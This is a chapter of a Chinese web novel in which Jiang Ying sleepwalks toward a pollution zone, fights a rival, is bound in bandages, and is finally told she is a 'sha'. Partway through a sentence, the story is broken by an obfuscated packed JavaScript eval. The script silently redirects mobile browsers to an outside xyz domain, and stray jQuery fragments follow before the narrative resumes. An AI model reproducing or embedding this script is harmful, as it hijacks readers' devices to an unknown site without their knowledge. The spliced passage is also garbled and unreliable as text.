54. 坏掉了

作品:《末世街溜子被迫害日常

    桑有道蹭地一下跳上了树,惹来陈轻舟一阵抱怨:“我靠树要断了,你能不能减减肥。”


    “去你的,我这是强壮好吗,哇,被压着打欸。”


    “我们要不要去帮帮白刃队长,出了事可就难办了。”


    “你要去多管闲事就去吧,指不定人家认识呢,我困了。”陈轻舟觉得没意思。


    “又来了一个人,好像你们基地的。”桑有道不太确定地问。


    “嗯?白岸!”陈轻舟瞪大眼睛,“这是唱的哪出戏?”


    “算了,不管了,他们靠近污染区你再给我讲,我得睡了。”陈轻舟翻了个身,闭上了眼睛。


    桑有道没回答他,兴致勃勃地看着三人争斗。


    “左勾拳,右勾拳,上勾拳,这力道不小啊……”


    “……”陈轻舟默默换了棵树。


    今天真是倒霉得没边。


    勤勤恳恳工作完准备回警戒营写报告的白在遇到自己打算暗杀的那个人后,怎么可能错过这样的好时机。


    但此地离警戒营太近了。


    没有多加思考就放弃了这个想法。


    令他没想到的是,那个女人直冲冲地朝着污染区冲去,速度极快,白本想装作看不见,多管闲事不是他的作风。


    可他从女人的身上嗅到了同类的气息。


    白又多了一个理由解释自己心脏直跳的原因了,同类啊,他居然会遇到同类,罕见的同类,真正意义上的同类。


    他绝不承认自己就是没法无视她。


    之前怎么没发觉呢,白好心拦住了江映,说:“别往前面去了,你会暴露的。”


    对方没回他。


    并且试图越过他继续前进,白皱了皱眉,伸手挡住了她的去路,再次重申:“你会打乱我们的计划……”


    话还没说完,手掌传来一阵剧痛。


    白低下头,见一把黑色长刀捅穿了他的手掌,鲜血毫不留情地争先恐后涌了出来,不仅仅是痛意,还有灼热的烫意。


    长刀上附着的恐怖高温划过脆弱的皮肤。


    他甚至闻到了烤肉的味道,大概焦糊了。


    这很不美妙。


    白的脸色沉了沉,没有多说什么,慢条斯理地收回手,柔和的白光裹住受伤的地方,瞬间恢复如初。


    白终于察觉出几分不对劲。


    随着江映缓缓抬起头,他听见了平稳的呼吸声,看见了对方紧闭的双眼,白的眉头跳了跳。


    “梦游么……”


    那就更不能让她闯进污染区了。


    事实上证明,想用武力压制江映是一个错误的选择,特别是压制一个全靠本能毫无理智的暗影,更是异想天开。


    作为白刃,白的修复能力可谓是当时第一,不是他自夸,事实如此,见过他能力的人都这样说。


    当然,他的攻击能力就中规中矩了,正面攻击很少讨得好处,所以白擅长暗杀。


    幸好他极快的治愈能力又弥补了攻击能力稍弱的缺点,这使得他看起来像一只打不死的小强。


    白岸姗姗来迟,目睹的就是这么一副景象。


    自家新队员疑似要把落月基地的新队长往死里打,他一眼就看出了江映的所处的状态,一个上前手刀劈在江映的后颈。


    白岸预想的是打昏江映,从而终止这场闹剧。


    然而江映的脖子硬度惊人,回头就是一刀劈了过来,暗红的火焰差点把他的头发烧光个精光。


    他及时躲避,后怕地抹了把汗。


    这些暗影的破坏力有够吓人的,罪过罪过,白岸决定采取强硬一些的手段。


    “是你?”


    耳边传来一声冷笑。


    白岸扶了扶额,不是冤家不聚头。


    他需要为自己辩解一下:“这次不是跟踪,我来领我家的队员,她有点呃……梦游的坏习惯。”


    一边说着,白岸祭出了自己的绷带大法,长长的绷带飞了上去,死死把江映缠住,裹成了个木乃伊。


    江映瞬间动弹不得,停止暴动,安静了下来。


    白若有所思地将目光放在绷带上,他没什么能跟变态跟踪狂交谈的欲望,摆了摆手:“请尽快离开污染区。”


    “再往前一步,可就是监控范围之内了。”


    ……


    江映是在第二天午时醒的,刚睁开眼她就感觉浑身难受,像出门打了拳,酸疼不已,特别是脖子,隐隐作痛。


    她很快发现了自己的处境。


    “周柯!”


    随着叮叮当当的声音响起,周柯慌慌张张推开门,忙问道:“怎么了,怎么了,午饭做好了,你饿了吗?”


    “我饿了,但现在该谈的不是这件事。”


    江映嘴角抽搐。


    “你能不能给我解释,为什么我会被捆成这样,我记得自己安安稳稳地躺在床上睡觉。“


    “啊,并没有安安稳稳。”周柯吐槽道。


    “是白岸队长,他告诉我在你醒来之前最好不要把绷带解开,你昨晚自己跑出去了,我都不知道你有梦游的习惯。”


    周柯抱歉地笑了笑,弯腰解开缠在她身上的绷带。


    “梦游?”江映完全没有关于昨晚的记忆。


    “对,白岸队长说你差点闯入污染区,如果不是他来得及时,你现在应该因为擅闯污染区被关进大牢了。”


    江映略显心虚地偏过头。


    其实她本来就是通缉犯来着,被联盟军逮到还是会被关进大牢。


    “我的包呢?”江映惊惧地四处寻找,她记得放在床头,这么大个包,凭空消失了?


    周柯打开紧闭的窗户,刺眼的阳光便趁机钻了进来,照得屋内的江映眼睛下意识眯了眯。


    “白岸队长拿走了,他让你醒来去找他。”


    “什么啊……”


    江映猛地跳了下来,以迅雷不及掩耳之势冲了下楼。


    白岸正躺在楼下的沙发上,手里把玩着那块心形的蓝色石头,眼尖的江映发现上面裂纹愈发多了。


    “大叔,不要随便拿别人的东西啊!”


    江映一个箭步上去夺回了石头。


    “啾啾啾。”


    默默鸟气愤地从包里露出头,扇着翅膀飞回了江映的脑袋上,化身啄木鸟。


    “默默鸟,别啄我脑袋!”江映惊声尖叫。


    她完全还处在状况之外。


    白岸懒散地抬了抬眼,左耳明显少了一截头发,看起来不太对称,隐约可见焦黑卷曲的发尾。


    江映一眼就认出来那是天冲留下来的痕迹,喃喃道:“我是不是在做梦,还没有醒来?”


    白岸认为有必要严肃地跟她谈一谈了。


    “周柯,我有事跟江映单独聊聊。”


    随着门被轻轻关上,白岸悠长地叹了口气,整得江映有些惶恐:“大叔,别卖关子了,这到底是什么回事?”


    从裂隙中回来,也许是在镜子世界里石头掉出来后,感觉一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15671926|169096||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    切都开始不正常起来。


    发生在自己身上的事情,江映竟然完全没有察觉到,但她大概明白,事情的根源和手中的石头存在一定联系。


    那块石头究竟是什么东西?


    实际上,她曾尝试过使用鉴别卡进行鉴定分析,出来的却是四个大字。


    【无法鉴定。】


    坏掉了。


    她想。


    “喝杯茶压压惊吧,在正式交谈之前,我们可以随便聊聊天,或者你不愿意也没关系,我不喜欢强人所难。”


    “说起来我也有个像你这么大的妹妹。”


    白岸翘起二郎腿随口道,随即稍显期待地望向江映。


    “想都别想,大叔,我不会叫你哥的。”江映直白道,“别拐弯抹角,到底要聊什么?”


    “比如你的妹妹江乔。”


    白岸一上来就扔炸弹,江映眉目微拧,撇了撇嘴:“我早就想问了,大叔,听你的口气,好像跟乔妹很熟似的……”


    “合作关系。“白岸简明扼要地解释。


    “毕竟整个终末地都在期待着江乔的研究,如果能将煞重新变回人类,那么终末地也不会有争端了,大抵也不存在流血和死亡,只要大家齐心协力,总会通关的,然后回去。”


    白岸顿了顿:“应该很多人都是这个想法,我也不例外,你可以理解为我投资了江乔的研究,她的研究花费可不小。”


    “不止你一个人吧。”江映用的是肯定句,“副队长也参与了。”


    “没错,很方便吧,她的镜子,我们经常用来赶路,可惜只此一个,如果普及会很方便,能节约不少时间。”白岸状似思考。


    接着他又说:“关于江乔的研究手册,也是我让周柯发消息给你的,目的是为了让你来白鸟基地。”


    “为什么要兜这么大一个圈子?”江映不解,“你直接跟我说不就可以了?就像现在。”


    “我直接说你会相信?”白岸漫不经心地笑了笑,“你不担心是我为了把你骗进白鸟基地的阴谋?”


    “事关乔妹,就算是假的,我也会亲自核查。”江映认真道。


    “当然,最根本的原因是有眼睛是在看。”


    白岸神神秘秘道:“我本来想回基地再和你聊聊,不过看看你现在的样子,你应该也对自己身上发生的一切很迷惑吧。”


    “别兜圈子了。”江映沉了沉眉。


    不知是被看破了心思还是绕着这个话题谈论却始终停滞不前,她有些恼怒。


    白岸喝了杯茶,这已经不知道是他的第几杯茶,实际上他更想来杯酒,条件不允许。


    “我平时没这么啰嗦,我得留点时间让你准备好。”


    “我不确定你现在究竟能不能接受这个信息,果然还是得等到回去之后吗……”白岸自言自语。


    “……”江映累了,摆摆手,“你想好再告诉我吧,我不是很急。”


    其实急得不行。


    她都闻到旁边桌子上盛放着的饭菜香气了,话说为什么不能边吃边聊?


    “答应我,一定要冷静。”白岸再三强调,“人生没有什么是过不去的坎,一切困难都有同伴陪着你解决,你被白鸟基地庇护……”


    江映总觉得他像是在念什么免责声明。


    看来他又得念一大串叽里呱啦的鸡汤。


    但出乎意料的是,白岸仅仅用三个字说完了一切,以至于江映还没来得及做出表情。


    “你是煞。”